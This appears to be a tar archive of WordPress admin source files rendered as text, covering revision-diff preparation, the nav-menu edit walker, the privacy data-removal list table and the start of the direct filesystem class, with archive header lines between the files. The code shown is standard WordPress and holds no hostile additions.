			$diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';

			// In split screen mode, show the title before/after side by side.
			if ( true === $args['show_split_view'] ) {
				$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>';
			} else {
				$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td>';

				// In single column mode, only show the title once if unchanged.
				if ( $compare_from->post_title !== $compare_to->post_title ) {
					$diff .= '</tr><tr><td>' . esc_html( $compare_to->post_title ) . '</td>';
				}
			}

			$diff .= '</tr></tbody>';
			$diff .= '</table>';
		}

		if ( $diff ) {
			$return[] = array(
				'id'   => $field,
				'name' => $name,
				'diff' => $diff,
			);
		}
	}

	/**
	 * Filters the fields displayed in the post revision diff UI.
	 *
	 * @since 4.1.0
	 *
	 * @param array[] $return       Array of revision UI fields. Each item is an array of id, name, and diff.
	 * @param WP_Post $compare_from The revision post to compare from.
	 * @param WP_Post $compare_to   The revision post to compare to.
	 */
	return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to );
}

/**
 * Prepare revisions for JavaScript.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $post                 The post object or post ID.
 * @param int         $selected_revision_id The selected revision ID.
 * @param int         $from                 Optional. The revision ID to compare from.
 * @return array An associative array of revision data and related settings.
 */
function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) {
	$post    = get_post( $post );
	$authors = array();
	$now_gmt = time();

	$revisions = wp_get_post_revisions(
		$post->ID,
		array(
			'order'         => 'ASC',
			'check_enabled' => false,
		)
	);
	// If revisions are disabled, we only want autosaves and the current post.
	if ( ! wp_revisions_enabled( $post ) ) {
		foreach ( $revisions as $revision_id => $revision ) {
			if ( ! wp_is_post_autosave( $revision ) ) {
				unset( $revisions[ $revision_id ] );
			}
		}
		$revisions = array( $post->ID => $post ) + $revisions;
	}

	$show_avatars = get_option( 'show_avatars' );

	update_post_author_caches( $revisions );

	$can_restore = current_user_can( 'edit_post', $post->ID );
	$current_id  = false;

	foreach ( $revisions as $revision ) {
		$modified     = strtotime( $revision->post_modified );
		$modified_gmt = strtotime( $revision->post_modified_gmt . ' +0000' );
		if ( $can_restore ) {
			$restore_link = str_replace(
				'&amp;',
				'&',
				wp_nonce_url(
					add_query_arg(
						array(
							'revision' => $revision->ID,
							'action'   => 'restore',
						),
						admin_url( 'revision.php' )
					),
					"restore-post_{$revision->ID}"
				)
			);
		}

		if ( ! isset( $authors[ $revision->post_author ] ) ) {
			$authors[ $revision->post_author ] = array(
				'id'     => (int) $revision->post_author,
				'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '',
				'name'   => get_the_author_meta( 'display_name', $revision->post_author ),
			);
		}

		$autosave = (bool) wp_is_post_autosave( $revision );
		$current  = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt;
		if ( $current && ! empty( $current_id ) ) {
			// If multiple revisions have the same post_modified_gmt, highest ID is current.
			if ( $current_id < $revision->ID ) {
				$revisions[ $current_id ]['current'] = false;
				$current_id                          = $revision->ID;
			} else {
				$current = false;
			}
		} elseif ( $current ) {
			$current_id = $revision->ID;
		}

		$revisions_data = array(
			'id'         => $revision->ID,
			'title'      => get_the_title( $post->ID ),
			'author'     => $authors[ $revision->post_author ],
			'date'       => date_i18n( __( 'M j, Y @ H:i' ), $modified ),
			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), $modified ),
			/* translators: %s: Human-readable time difference. */
			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ),
			'autosave'   => $autosave,
			'current'    => $current,
			'restoreUrl' => $can_restore ? $restore_link : false,
		);

		/**
		 * Filters the array of revisions used on the revisions screen.
		 *
		 * @since 4.4.0
		 *
		 * @param array   $revisions_data {
		 *     The bootstrapped data for the revisions screen.
		 *
		 *     @type int        $id         Revision ID.
		 *     @type string     $title      Title for the revision's parent WP_Post object.
		 *     @type int        $author     Revision post author ID.
		 *     @type string     $date       Date the revision was modified.
		 *     @type string     $dateShort  Short-form version of the date the revision was modified.
		 *     @type string     $timeAgo    GMT-aware amount of time ago the revision was modified.
		 *     @type bool       $autosave   Whether the revision is an autosave.
		 *     @type bool       $current    Whether the revision is both not an autosave and the post
		 *                                  modified date matches the revision modified date (GMT-aware).
		 *     @type bool|false $restoreUrl URL if the revision can be restored, false otherwise.
		 * }
		 * @param WP_Post $revision       The revision's WP_Post object.
		 * @param WP_Post $post           The revision's parent WP_Post object.
		 */
		$revisions[ $revision->ID ] = apply_filters( 'wp_prepare_revision_for_js', $revisions_data, $revision, $post );
	}

	/*
	 * If we only have one revision, the initial revision is missing. This happens
	 * when we have an autosave and the user has clicked 'View the Autosave'.
	 */
	if ( 1 === count( $revisions ) ) {
		$revisions[ $post->ID ] = array(
			'id'         => $post->ID,
			'title'      => get_the_title( $post->ID ),
			'author'     => $authors[ $revision->post_author ],
			'date'       => date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_modified ) ),
			'dateShort'  => date_i18n( _x( 'j M @ H:i', 'revision date short format' ), strtotime( $post->post_modified ) ),
			/* translators: %s: Human-readable time difference. */
			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ),
			'autosave'   => false,
			'current'    => true,
			'restoreUrl' => false,
		);
		$current_id             = $post->ID;
	}

	/*
	 * If a post has been saved since the latest revision (no revisioned fields
	 * were changed), we may not have a "current" revision. Mark the latest
	 * revision as "current".
	 */
	if ( empty( $current_id ) ) {
		if ( $revisions[ $revision->ID ]['autosave'] ) {
			$revision = end( $revisions );
			while ( $revision['autosave'] ) {
				$revision = prev( $revisions );
			}
			$current_id = $revision['id'];
		} else {
			$current_id = $revision->ID;
		}
		$revisions[ $current_id ]['current'] = true;
	}

	// Now, grab the initial diff.
	$compare_two_mode = is_numeric( $from );
	if ( ! $compare_two_mode ) {
		$found = array_search( $selected_revision_id, array_keys( $revisions ), true );
		if ( $found ) {
			$from = array_keys( array_slice( $revisions, $found - 1, 1, true ) );
			$from = reset( $from );
		} else {
			$from = 0;
		}
	}

	$from = absint( $from );

	$diffs = array(
		array(
			'id'     => $from . ':' . $selected_revision_id,
			'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ),
		),
	);

	return array(
		'postId'         => $post->ID,
		'nonce'          => wp_create_nonce( 'revisions-ajax-nonce' ),
		'revisionData'   => array_values( $revisions ),
		'to'             => $selected_revision_id,
		'from'           => $from,
		'diffData'       => $diffs,
		'baseUrl'        => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ),
		'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed.
		'revisionIds'    => array_keys( $revisions ),
	);
}

/**
 * Print JavaScript templates required for the revisions experience.
 *
 * @since 4.1.0
 *
 * @global WP_Post $post Global post object.
 */
function wp_print_revision_templates() {
	global $post;
	?><script id="tmpl-revisions-frame" type="text/html">
		<div class="revisions-control-frame"></div>
		<div class="revisions-diff-frame"></div>
	</script>

	<script id="tmpl-revisions-buttons" type="text/html">
		<div class="revisions-previous">
			<input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" />
		</div>

		<div class="revisions-next">
			<input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" />
		</div>
	</script>

	<script id="tmpl-revisions-checkbox" type="text/html">
		<div class="revision-toggle-compare-mode">
			<label>
				<input type="checkbox" class="compare-two-revisions"
				<#
				if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) {
					#> checked="checked"<#
				}
				#>
				/>
				<?php esc_html_e( 'Compare any two revisions' ); ?>
			</label>
		</div>
	</script>

	<script id="tmpl-revisions-meta" type="text/html">
		<# if ( ! _.isUndefined( data.attributes ) ) { #>
			<div class="diff-title">
				<# if ( 'from' === data.type ) { #>
					<strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong>
				<# } else if ( 'to' === data.type ) { #>
					<strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong>
				<# } #>
				<div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>">
					{{{ data.attributes.author.avatar }}}
					<div class="author-info">
					<# if ( data.attributes.autosave ) { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Autosave by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } else if ( data.attributes.current ) { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Current Revision by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } else { #>
						<span class="byline">
						<?php
						printf(
							/* translators: %s: User's display name. */
							__( 'Revision by %s' ),
							'<span class="author-name">{{ data.attributes.author.name }}</span>'
						);
						?>
							</span>
					<# } #>
						<span class="time-ago">{{ data.attributes.timeAgo }}</span>
						<span class="date">({{ data.attributes.dateShort }})</span>
					</div>
				<# if ( 'to' === data.type && data.attributes.restoreUrl ) { #>
					<input  <?php if ( wp_check_post_lock( $post->ID ) ) { ?>
						disabled="disabled"
					<?php } else { ?>
						<# if ( data.attributes.current ) { #>
							disabled="disabled"
						<# } #>
					<?php } ?>
					<# if ( data.attributes.autosave ) { #>
						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" />
					<# } else { #>
						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" />
					<# } #>
				<# } #>
			</div>
		<# if ( 'tooltip' === data.type ) { #>
			<div class="revisions-tooltip-arrow"><span></span></div>
		<# } #>
	<# } #>
	</script>

	<script id="tmpl-revisions-diff" type="text/html">
		<div class="loading-indicator"><span class="spinner"></span></div>
		<div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div>
		<div class="diff">
		<# _.each( data.fields, function( field ) { #>
			<h3>{{ field.name }}</h3>
			{{{ field.diff }}}
		<# }); #>
		</div>
	</script>
	<?php
}
class-walker-nav-menu-edit.php000064400000031701150275632050012323 0ustar00<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Edit class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 *
 * @see Walker_Nav_Menu
 */
class Walker_Nav_Menu_Edit extends Walker_Nav_Menu {
	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Passed by reference.
	 * @param int      $depth  Depth of menu item. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {}

	/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @global int $_wp_nav_menu_max_depth
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
	 * @param WP_Post  $data_object       Menu item data object.
	 * @param int      $depth             Depth of menu item. Used for padding.
	 * @param stdClass $args              Not used.
	 * @param int      $current_object_id Optional. ID of the current menu item. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) {
		global $_wp_nav_menu_max_depth;

		// Restores the more descriptive, specific name for use within this method.
		$menu_item = $data_object;

		$_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth;

		ob_start();
		$item_id      = esc_attr( $menu_item->ID );
		$removed_args = array(
			'action',
			'customlink-tab',
			'edit-menu-item',
			'menu-item',
			'page-tab',
			'_wpnonce',
		);

		$original_title = false;

		if ( 'taxonomy' === $menu_item->type ) {
			$original_object = get_term( (int) $menu_item->object_id, $menu_item->object );
			if ( $original_object && ! is_wp_error( $original_object ) ) {
				$original_title = $original_object->name;
			}
		} elseif ( 'post_type' === $menu_item->type ) {
			$original_object = get_post( $menu_item->object_id );
			if ( $original_object ) {
				$original_title = get_the_title( $original_object->ID );
			}
		} elseif ( 'post_type_archive' === $menu_item->type ) {
			$original_object = get_post_type_object( $menu_item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}

		$classes = array(
			'menu-item menu-item-depth-' . $depth,
			'menu-item-' . esc_attr( $menu_item->object ),
			'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id === $_GET['edit-menu-item'] ) ? 'active' : 'inactive' ),
		);

		$title = $menu_item->title;

		if ( ! empty( $menu_item->_invalid ) ) {
			$classes[] = 'menu-item-invalid';
			/* translators: %s: Title of an invalid menu item. */
			$title = sprintf( __( '%s (Invalid)' ), $menu_item->title );
		} elseif ( isset( $menu_item->post_status ) && 'draft' === $menu_item->post_status ) {
			$classes[] = 'pending';
			/* translators: %s: Title of a menu item in draft status. */
			$title = sprintf( __( '%s (Pending)' ), $menu_item->title );
		}

		$title = ( ! isset( $menu_item->label ) || '' === $menu_item->label ) ? $title : $menu_item->label;

		$submenu_text = '';
		if ( 0 === $depth ) {
			$submenu_text = 'style="display: none;"';
		}

		?>
		<li id="menu-item-<?php echo $item_id; ?>" class="<?php echo implode( ' ', $classes ); ?>">
			<div class="menu-item-bar">
				<div class="menu-item-handle">
					<label class="item-title" for="menu-item-checkbox-<?php echo $item_id; ?>">
						<input id="menu-item-checkbox-<?php echo $item_id; ?>" type="checkbox" class="menu-item-checkbox" data-menu-item-id="<?php echo $item_id; ?>" disabled="disabled" />
						<span class="menu-item-title"><?php echo esc_html( $title ); ?></span>
						<span class="is-submenu" <?php echo $submenu_text; ?>><?php _e( 'sub item' ); ?></span>
					</label>
					<span class="item-controls">
						<span class="item-type"><?php echo esc_html( $menu_item->type_label ); ?></span>
						<span class="item-order hide-if-js">
							<?php
							printf(
								'<a href="%s" class="item-move-up" aria-label="%s">&#8593;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-up-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move up' )
							);
							?>
							|
							<?php
							printf(
								'<a href="%s" class="item-move-down" aria-label="%s">&#8595;</a>',
								wp_nonce_url(
									add_query_arg(
										array(
											'action'    => 'move-down-menu-item',
											'menu-item' => $item_id,
										),
										remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) )
									),
									'move-menu_item'
								),
								esc_attr__( 'Move down' )
							);
							?>
						</span>
						<?php
						if ( isset( $_GET['edit-menu-item'] ) && $item_id === $_GET['edit-menu-item'] ) {
							$edit_url = admin_url( 'nav-menus.php' );
						} else {
							$edit_url = add_query_arg(
								array(
									'edit-menu-item' => $item_id,
								),
								remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) )
							);
						}

						printf(
							'<a class="item-edit" id="edit-%s" href="%s" aria-label="%s"><span class="screen-reader-text">%s</span></a>',
							$item_id,
							esc_url( $edit_url ),
							esc_attr__( 'Edit menu item' ),
							/* translators: Hidden accessibility text. */
							__( 'Edit' )
						);
						?>
					</span>
				</div>
			</div>

			<div class="menu-item-settings wp-clearfix" id="menu-item-settings-<?php echo $item_id; ?>">
				<?php if ( 'custom' === $menu_item->type ) : ?>
					<p class="field-url description description-wide">
						<label for="edit-menu-item-url-<?php echo $item_id; ?>">
							<?php _e( 'URL' ); ?><br />
							<input type="text" id="edit-menu-item-url-<?php echo $item_id; ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->url ); ?>" />
						</label>
					</p>
				<?php endif; ?>
				<p class="description description-wide">
					<label for="edit-menu-item-title-<?php echo $item_id; ?>">
						<?php _e( 'Navigation Label' ); ?><br />
						<input type="text" id="edit-menu-item-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->title ); ?>" />
					</label>
				</p>
				<p class="field-title-attribute field-attr-title description description-wide">
					<label for="edit-menu-item-attr-title-<?php echo $item_id; ?>">
						<?php _e( 'Title Attribute' ); ?><br />
						<input type="text" id="edit-menu-item-attr-title-<?php echo $item_id; ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->post_excerpt ); ?>" />
					</label>
				</p>
				<p class="field-link-target description">
					<label for="edit-menu-item-target-<?php echo $item_id; ?>">
						<input type="checkbox" id="edit-menu-item-target-<?php echo $item_id; ?>" value="_blank" name="menu-item-target[<?php echo $item_id; ?>]"<?php checked( $menu_item->target, '_blank' ); ?> />
						<?php _e( 'Open link in a new tab' ); ?>
					</label>
				</p>
				<p class="field-css-classes description description-thin">
					<label for="edit-menu-item-classes-<?php echo $item_id; ?>">
						<?php _e( 'CSS Classes (optional)' ); ?><br />
						<input type="text" id="edit-menu-item-classes-<?php echo $item_id; ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo $item_id; ?>]" value="<?php echo esc_attr( implode( ' ', $menu_item->classes ) ); ?>" />
					</label>
				</p>
				<p class="field-xfn description description-thin">
					<label for="edit-menu-item-xfn-<?php echo $item_id; ?>">
						<?php _e( 'Link Relationship (XFN)' ); ?><br />
						<input type="text" id="edit-menu-item-xfn-<?php echo $item_id; ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->xfn ); ?>" />
					</label>
				</p>
				<p class="field-description description description-wide">
					<label for="edit-menu-item-description-<?php echo $item_id; ?>">
						<?php _e( 'Description' ); ?><br />
						<textarea id="edit-menu-item-description-<?php echo $item_id; ?>" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description[<?php echo $item_id; ?>]"><?php echo esc_html( $menu_item->description ); // textarea_escaped ?></textarea>
						<span class="description"><?php _e( 'The description will be displayed in the menu if the active theme supports it.' ); ?></span>
					</label>
				</p>

				<?php
				/**
				 * Fires just before the move buttons of a nav menu item in the menu editor.
				 *
				 * @since 5.4.0
				 *
				 * @param string        $item_id           Menu item ID as a numeric string.
				 * @param WP_Post       $menu_item         Menu item data object.
				 * @param int           $depth             Depth of menu item. Used for padding.
				 * @param stdClass|null $args              An object of menu item arguments.
				 * @param int           $current_object_id Nav menu ID.
				 */
				do_action( 'wp_nav_menu_item_custom_fields', $item_id, $menu_item, $depth, $args, $current_object_id );
				?>

				<fieldset class="field-move hide-if-no-js description description-wide">
					<span class="field-move-visual-label" aria-hidden="true"><?php _e( 'Move' ); ?></span>
					<button type="button" class="button-link menus-move menus-move-up" data-dir="up"><?php _e( 'Up one' ); ?></button>
					<button type="button" class="button-link menus-move menus-move-down" data-dir="down"><?php _e( 'Down one' ); ?></button>
					<button type="button" class="button-link menus-move menus-move-left" data-dir="left"></button>
					<button type="button" class="button-link menus-move menus-move-right" data-dir="right"></button>
					<button type="button" class="button-link menus-move menus-move-top" data-dir="top"><?php _e( 'To the top' ); ?></button>
				</fieldset>

				<div class="menu-item-actions description-wide submitbox">
					<?php if ( 'custom' !== $menu_item->type && false !== $original_title ) : ?>
						<p class="link-to-original">
							<?php
							/* translators: %s: Link to menu item's original object. */
							printf( __( 'Original: %s' ), '<a href="' . esc_url( $menu_item->url ) . '">' . esc_html( $original_title ) . '</a>' );
							?>
						</p>
					<?php endif; ?>

					<?php
					printf(
						'<a class="item-delete submitdelete deletion" id="delete-%s" href="%s">%s</a>',
						$item_id,
						wp_nonce_url(
							add_query_arg(
								array(
									'action'    => 'delete-menu-item',
									'menu-item' => $item_id,
								),
								admin_url( 'nav-menus.php' )
							),
							'delete-menu_item_' . $item_id
						),
						__( 'Remove' )
					);
					?>
					<span class="meta-sep hide-if-no-js"> | </span>
					<?php
					printf(
						'<a class="item-cancel submitcancel hide-if-no-js" id="cancel-%s" href="%s#menu-item-settings-%s">%s</a>',
						$item_id,
						esc_url(
							add_query_arg(
								array(
									'edit-menu-item' => $item_id,
									'cancel'         => time(),
								),
								admin_url( 'nav-menus.php' )
							)
						),
						$item_id,
						__( 'Cancel' )
					);
					?>
				</div>

				<input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo $item_id; ?>]" value="<?php echo $item_id; ?>" />
				<input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->object_id ); ?>" />
				<input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->object ); ?>" />
				<input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->menu_item_parent ); ?>" />
				<input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->menu_order ); ?>" />
				<input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo $item_id; ?>]" value="<?php echo esc_attr( $menu_item->type ); ?>" />
			</div><!-- .menu-item-settings-->
			<ul class="menu-item-transport"></ul>
		<?php
		$output .= ob_get_clean();
	}
}
class-wp-privacy-data-removal-requests-list-table.php.tar000064400000017000150275632050017532 0ustar00natitnen/crestassured.com/wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php000064400000013123150274047700030247 0ustar00home<?php
/**
 * List Table API: WP_Privacy_Data_Removal_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Removal_Requests_List_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Removal_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'remove_personal_data';

	/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

	/**
	 * Outputs the Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		$row_actions = array();

		// Allow the administrator to "force remove" the personal data even if confirmation has not yet been received.
		$status      = $item->status;
		$request_id  = $item->ID;
		$row_actions = array();
		if ( 'request-confirmed' !== $status ) {
			/** This filter is documented in wp-admin/includes/ajax-actions.php */
			$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
			$erasers_count = count( $erasers );
			$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

			$remove_data_markup = '<span class="remove-personal-data force-remove-personal-data" ' .
				'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
				'data-request-id="' . esc_attr( $request_id ) . '" ' .
				'data-nonce="' . esc_attr( $nonce ) .
				'">';

			$remove_data_markup .= '<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle">' . __( 'Force erase personal data' ) . '</button></span>' .
				'<span class="remove-personal-data-processing hidden">' . __( 'Erasing data...' ) . ' <span class="erasure-progress"></span></span>' .
				'<span class="remove-personal-data-success hidden">' . __( 'Erasure completed.' ) . '</span>' .
				'<span class="remove-personal-data-failed hidden">' . __( 'Force erasure has failed.' ) . ' <button type="button" class="button-link remove-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

			$remove_data_markup .= '</span>';

			$row_actions['remove-data'] = $remove_data_markup;
		}

		if ( 'request-completed' !== $status ) {
			$complete_request_markup  = '<span>';
			$complete_request_markup .= sprintf(
				'<a href="%s" class="complete-request" aria-label="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'complete',
								'request_id' => array( $request_id ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				),
				esc_attr(
					sprintf(
						/* translators: %s: Request email. */
						__( 'Mark export request for &#8220;%s&#8221; as completed.' ),
						$item->email
					)
				),
				__( 'Complete request' )
			);
			$complete_request_markup .= '</span>';
		}

		if ( ! empty( $complete_request_markup ) ) {
			$row_actions['complete-request'] = $complete_request_markup;
		}

		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

	/**
	 * Outputs the Next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

		switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
				$erasers_count = count( $erasers );
				$request_id    = $item->ID;
				$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

				echo '<div class="remove-personal-data" ' .
					'data-force-erase="1" ' .
					'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

				?>
				<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Erase personal data' ); ?></button></span>
				<span class="remove-personal-data-processing hidden"><?php _e( 'Erasing data...' ); ?> <span class="erasure-progress"></span></span>
				<span class="remove-personal-data-success success-message hidden" ><?php _e( 'Erasure completed.' ); ?></span>
				<span class="remove-personal-data-failed hidden"><?php _e( 'Data erasure has failed.' ); ?> <button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

				echo '</div>';

				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
class-wp-filesystem-direct.php000064400000043337150275632050012457 0ustar00<?php
/**
 * WordPress Direct Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for direct PHP file and folder manipulation.
 *
 * @since 2.5.0
 *
 * @see WP_Filesystem_Base
 */
class WP_Filesystem_Direct extends WP_Filesystem_Base {

	/**
	 * Constructor.
	 *
	 * @since 2.5.0
	 *
	 * @param mixed $arg Not used.
	 */
	public function __construct( $arg ) {
		$this->method = 'direct';
		$this->errors = new WP_Error();
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return @file_get_contents( $file );
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return @file( $file );
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		$fp = @fopen( $file, 'wb' );

		if ( ! $fp ) {
			return false;
		}

		mbstring_binary_safe_encoding();

		$data_length = strlen( $contents );

		$bytes_written = fwrite( $fp, $contents );

		reset_mbstring_encoding();

		fclose( $fp );

		if ( $data_length !== $bytes_written ) {
			return false;
		}

		$this->chmod( $file, $mode );

		return true;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return getcwd();
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return @chdir( $dir );
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		if ( ! $this->exists( $file ) ) {
			return false;
		}

		if ( ! $recursive ) {
			return chgrp( $file, $group );
		}

		if ( ! $this->is_dir( $file ) ) {
			return chgrp( $file, $group );
		}

		// Is a directory, and we want recursive.
		$file     = trailingslashit( $file );
		$filelist = $this->dirlist( $file );

		foreach ( $filelist as $filename ) {
			$this->chgrp( $file . $filename, $group, $recursive );
		}

		return true;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 *
	 * @param string    $file      Path to the file.
